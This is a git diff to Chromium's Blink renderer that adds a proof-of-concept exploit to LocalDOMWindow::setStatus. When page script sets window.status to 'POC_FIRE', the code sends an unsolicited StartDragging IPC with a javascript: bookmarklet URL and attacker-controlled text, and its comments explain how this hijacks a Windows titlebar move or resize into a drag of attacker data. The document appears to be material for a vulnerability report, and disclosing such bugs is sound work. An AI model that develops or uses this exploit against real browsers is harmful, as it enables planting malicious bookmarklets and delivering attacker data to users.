diff --git a/third_party/blink/renderer/core/frame/local_dom_window.cc b/third_party/blink/renderer/core/frame/local_dom_window.cc index 4cd39c9f0eb17..6d0dabd500b32 100644 --- a/third_party/blink/renderer/core/frame/local_dom_window.cc +++ b/third_party/blink/renderer/core/frame/local_dom_window.cc @@ -50,6 +50,13 @@ #include "third_party/blink/public/platform/scheduler/web_agent_group_scheduler.h" #include "third_party/blink/public/platform/task_type.h" #include "third_party/blink/public/platform/web_string.h" +// --- POC injection includes --- +#include "third_party/blink/public/common/page/drag_operation.h" +#include "third_party/blink/public/mojom/drag/drag.mojom-blink.h" +#include "third_party/blink/public/platform/web_drag_data.h" +#include "third_party/skia/include/core/SkBitmap.h" +#include "ui/base/dragdrop/mojom/drag_drop_types.mojom-blink.h" +// --- end POC injection includes --- #include "third_party/blink/public/web/web_picture_in_picture_window_options.h" #include "third_party/blink/renderer/bindings/core/v8/binding_security.h" #include "third_party/blink/renderer/bindings/core/v8/capture_source_location.h" @@ -1776,6 +1783,55 @@ void LocalDOMWindow::setName(const AtomicString& name) { void LocalDOMWindow::setStatus(const String& string) { status_ = string; + // ==================== POC INJECTION ==================== + // Simulates a compromised renderer that holds the LocalFrameHost remote and + // sends an unsolicited StartDragging IPC. JavaScript in poc.html calls + // `window.status = "POC_FIRE"` on a fast interval. While the user is + // performing an ordinary titlebar move / window resize on Windows, the + // browser UI thread is inside DefWindowProc(WM_SYSCOMMAND, SC_MOVE/SC_SIZE) + // with ScopedAllowApplicationTasksInNativeNestedLoop active and + // g_is_dragging == false (see ui/views/win/hwnd_message_handler.cc:2984). + // One of these IPCs is dispatched inside that modal loop and reaches + // DesktopDragDropClientWin::StartDragAndDrop -> ::DoDragDrop with the + // user's left mouse button still held on the titlebar/border, hijacking the + // gesture into an OLE drag of attacker-chosen data. + if (string != "POC_FIRE") { + return; + } + LocalFrame* frame = GetFrame(); + if (!frame || !frame->GetPage()) { + return; + } + + // Attacker payload: a javascript: URL (explicitly whitelisted from FilterURL + // in RenderWidgetHostImpl::StartDragging) plus plain text. Dropping this on + // the bookmarks bar creates an attacker bookmarklet; dropping on Explorer or + // another app delivers attacker data. + WebDragData drag_data; + WebDragData::StringItem url_item; + url_item.type = WebString::FromUtf8("text/uri-list"); + url_item.data = + WebString::FromUtf8("javascript:alert(document.domain+'-pwned')"); + url_item.title = WebString::FromUtf8("pwned"); + drag_data.AddItem(url_item); + WebDragData::StringItem text_item; + text_item.type = WebString::FromUtf8("text/plain"); + text_item.data = WebString::FromUtf8("ATTACKER_CONTROLLED_DRAG_PAYLOAD"); + drag_data.AddItem(text_item); + + // Renderer-supplied screen point: must lie inside this WebContents' content + // view screen bounds (web_contents_view_aura.cc:1282-1289). The center of + // the top-level window rect satisfies this for any normal window. + gfx::Rect win = + frame->GetPage()->GetChromeClient().RootWindowRect(*frame); + auto event_info = mojom::blink::DragEventSourceInfo::New(); + event_info->source = ui::mojom::blink::DragEventSource::kMouse; + event_info->location = win.CenterPoint(); + + frame->GetLocalFrameHostRemote().StartDragging( + drag_data, kDragOperationEvery, SkBitmap(), gfx::Vector2d(), gfx::Rect(), + std::move(event_info)); + // ================== END POC INJECTION ================== } void LocalDOMWindow::setDefaultStatus(const String& string) {